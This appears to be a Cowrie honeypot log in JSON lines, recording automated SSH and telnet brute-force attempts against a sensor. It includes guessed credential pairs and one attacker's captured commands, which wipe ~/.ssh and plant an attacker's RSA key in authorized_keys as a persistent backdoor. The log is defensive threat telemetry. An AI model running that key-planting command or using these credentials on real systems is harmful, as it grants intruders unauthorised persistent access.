{"eventid":"cowrie.session.closed","duration":34.216495513916016,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:03.782564Z","src_ip":"209.126.87.217","session":"b5f7c8bace59","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:03.921795Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:03.925388Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:03.929483Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.024921Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.63369274139404,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.356078Z","src_ip":"185.26.126.47","session":"a4f53081f46d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.427652Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.430739Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.849902153015137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.503666Z","src_ip":"209.126.87.217","session":"287c40174927","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.630455Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.634317Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":57320,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9c94bddd508","protocol":"ssh","message":"New connection: 45.43.86.48:57320 (10.17.0.5:22) [session: c9c94bddd508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.828554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.836055Z","src_ip":"45.43.86.48","session":"c9c94bddd508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:04.935903Z","src_ip":"45.43.86.48","session":"c9c94bddd508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:05.289880Z","src_ip":"45.43.86.48","session":"c9c94bddd508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":56370,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13b7345f4d5","protocol":"ssh","message":"New connection: 171.244.141.86:56370 (159.203.135.109:22) [session: f13b7345f4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:05.737301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:05.742558Z","src_ip":"171.244.141.86","session":"f13b7345f4d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.49317646026611,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:05.974754Z","src_ip":"209.126.87.217","session":"acc20da2d4ee","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:05.988780Z","src_ip":"171.244.141.86","session":"f13b7345f4d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:06.379702Z","src_ip":"45.43.86.48","session":"c9c94bddd508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":58262,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d338419ff4b","protocol":"ssh","message":"New connection: 45.43.86.48:58262 (10.17.0.5:22) [session: 6d338419ff4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:06.485313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:06.490619Z","src_ip":"45.43.86.48","session":"6d338419ff4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:06.576406Z","src_ip":"45.43.86.48","session":"6d338419ff4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39524,"dst_ip":"159.203.135.109","dst_port":23,"session":"abd03ab2016e","protocol":"telnet","message":"New connection: 209.126.87.217:39524 (159.203.135.109:23) [session: abd03ab2016e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:06.722685Z"}
{"eventid":"cowrie.session.closed","duration":33.73562788963318,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:06.808639Z","src_ip":"209.126.87.217","session":"d6b8e385cc51","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678.","message":"login attempt [root/a12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:06.994672Z","src_ip":"171.244.141.86","session":"f13b7345f4d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:07.009033Z","src_ip":"45.43.86.48","session":"6d338419ff4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:07.098176Z","src_ip":"45.43.86.48","session":"6d338419ff4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:07.103908Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.40392708778381,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:07.821046Z","src_ip":"209.126.87.217","session":"902d85ccadea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:08.241192Z","src_ip":"171.244.141.86","session":"f13b7345f4d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50062,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b7741458ba","protocol":"telnet","message":"New connection: 209.126.87.217:50062 (159.203.135.109:23) [session: f4b7741458ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:10.063096Z"}
{"eventid":"cowrie.session.closed","duration":35.30147337913513,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:10.196758Z","src_ip":"209.126.87.217","session":"d7afb30cf971","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.680312395095825,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:19.109071Z","src_ip":"209.126.87.217","session":"bddf54ebc433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76498603820801,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:19.187736Z","src_ip":"209.126.87.217","session":"fe2b91aac336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40222,"dst_ip":"159.203.135.109","dst_port":22,"session":"91f88c40acdf","protocol":"ssh","message":"New connection: 159.203.92.129:40222 (159.203.135.109:22) [session: 91f88c40acdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:20.118280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:20.122703Z","src_ip":"159.203.92.129","session":"91f88c40acdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:20.127035Z","src_ip":"159.203.92.129","session":"91f88c40acdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Huawei12#$","message":"login attempt [ansible/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:20.181759Z","src_ip":"159.203.92.129","session":"91f88c40acdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.51692605018616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:20.237753Z","src_ip":"209.126.87.217","session":"5681486af8cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40410,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d600e9053f3","protocol":"telnet","message":"New connection: 209.126.87.217:40410 (159.203.135.109:23) [session: 8d600e9053f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:20.312383Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40412,"dst_ip":"159.203.135.109","dst_port":23,"session":"f363e826ed42","protocol":"telnet","message":"New connection: 209.126.87.217:40412 (159.203.135.109:23) [session: f363e826ed42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:20.955911Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:21.188273Z","src_ip":"159.203.92.129","session":"91f88c40acdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":46830,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb8f03f15c5f","protocol":"ssh","message":"New connection: 103.146.202.174:46830 (159.203.135.109:22) [session: cb8f03f15c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:21.794389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:21.799761Z","src_ip":"103.146.202.174","session":"cb8f03f15c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.42508840560913,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:21.873182Z","src_ip":"209.126.87.217","session":"ef30db126c82","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:22.045615Z","src_ip":"103.146.202.174","session":"cb8f03f15c5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"Admin@123","message":"login attempt [es/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:23.062900Z","src_ip":"103.146.202.174","session":"cb8f03f15c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.75409960746765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:23.955958Z","src_ip":"209.126.87.217","session":"7674d090aeb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:24.317619Z","src_ip":"103.146.202.174","session":"cb8f03f15c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40424,"dst_ip":"159.203.135.109","dst_port":23,"session":"b46bba11e818","protocol":"telnet","message":"New connection: 209.126.87.217:40424 (159.203.135.109:23) [session: b46bba11e818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:24.504349Z"}
